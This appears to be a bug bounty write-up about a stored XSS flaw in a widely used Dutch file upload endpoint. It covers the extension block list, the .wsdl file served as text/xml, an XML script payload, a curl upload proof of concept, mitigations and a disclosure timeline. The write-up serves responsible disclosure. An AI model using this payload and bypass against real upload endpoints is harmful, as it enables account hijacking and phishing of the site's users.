In this post I’ll describe a stored XSS vulnerability I found in software used by >5.000 Dutch companies, including banks, hospitals, government agencies, municipalities, supermarkets, football clubs etc. The vulnerability was found in a file upload endpoint that was used to attach files to application forms and allows attackers to get stored XSS leading to account hijacking, phishing etc.

Discovery

One of the websites I was testing contained an endpoint to upload files. This endpoint was primarely used in application forms to attach files like your resume or picture. The endpoint looked like this:

Request

POST /file/upload/default HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywd1p0f2EAbAL4uNA

------WebKitFormBoundarywd1p0f2EAbAL4uNA
Content-Disposition: form-data; name="filedata0"; filename="example.pdf"
Content-Type: application/pdf

test
------WebKitFormBoundarywd1p0f2EAbAL4uNA

Response

HTTP/1.1 200 OK 
Content-Type: text/html; charset=utf-8 
X-Content-Type-Options: nosniff 
X-XSS-Protection: 1; mode=block

<script>
  parent.AntaFileResponse(true, { Id: "<RANDOM_ID>", Name: "example.pdf" });
</script>

The download link to the uploaded file was attached to the form and when clicked it would open the link. The request looks like this:

Request

GET /file/download/default/<RANDOM_ID>/example.pdf HTTP/1.1

Response

HTTP/1.1 200 OK
Content-Disposition: inline; filename="test.pdf"; filename*=utf-8''example.pdf
Content-Type: application/pdf
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block

test

After trying to upload different file extensions I noticed that the backend blocked certain extensions:

<script>
  parent.AntaFileResponse(false, "It is not allowed to submit files with this type");
</script>

However, most file extensions were just allowed, which made me wonder; would it be possible to upload malicous files?

Another thing I noticed was that different file extensions get a different Content-Type returned by the server. The browser uses this to choose how to render the page.

Exploration

A list of common file extensions (SecLists/raft-large-extensions.txt) and automated file uploads provided me some insights:

  • Blocked file extensions:
    • .ashx, .asmx, .axd, .bat, .cmd, .css, .dll, .exe, .hta, .htm, .html, js, .mht, .mhtml, .shtm, .shtml, .stm, .svc, .svg, .vb, .vbs, .xhtm, .xhtml, xml, .xsd, .xsl
  • Allowed executable file extensions:
    • .msi, .java, .com
    • ⚠️ an attacker could send one of these executable file extensions to spread malware. A good use case would be to send it with your application so a victim application reviewer would download it and run it.

My new mission was to find a file extension with a Content-Type returned from the back-end that the browser would load as a web page instead of downloading it. The following list of Content-Type can be used to execute Javascript in the browser:

Content-Type Format Browsers
text/html html
application/xhtml+xml xml
application/xml xml
text/xml xml
image/svg+xml xml
text/xsl xml
application/vnd.wap.xhtml+xml xml
multipart/x-mixed-replace multipart html

Complete list: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

After analyzing the content-types for all the different file extensions there was one that stood out:

  • Allowed Javascript file extensions:
    • .wsdl
    • ⚠️ An attacker could upload a .wsdl file, when someone opens the downloadlink the back-end returns Content-Type: text/xml which means the browser will load the page as an XML file. This can be used to execute Javascript (stored XSS), or craft a custom page. Note that the download link is on the same domain so this could lead to account hijacking or phishing

Exploitation

To achieve stored XSS an attacker could upload a .wsdl file that contains the following example XSS payloads:

<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert("XSS")</a:script>

The victim will click on the download link that is provided with with application and the browser will load the page as an XML file. This will execute the Javascript payload and can lead to account hijacking, phishing etc.

Full Proof of Concept:

echo '<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert("XSS")</a:script>' | curl -F 'filedata0=@-;filename=XSS.wsdl' https://TARGET/file/upload/default

Another thing an attacker could do is create a custom phishing page that looks like a login or payment page. Since XML can contain HTML tags Javascript is not even needed in this case.

Mitigation

  • Use a whitelist instead of a blacklist for file extensions. For example only allow certain file extensions like .pdf, .docx etc
  • Add Content-Disposition: attachment HTTP header to the file/download/default/X/X endpoint so uploaded files will always be downloaded and not rendered in the browser

Timeline

Date Description
12-01-2023 Reported Vulnerability
13-01-2023 Vulnerability confirmed
16-01-2023 Vulnerability patched
30-01-2023 Received reward €2674 (2*€1337)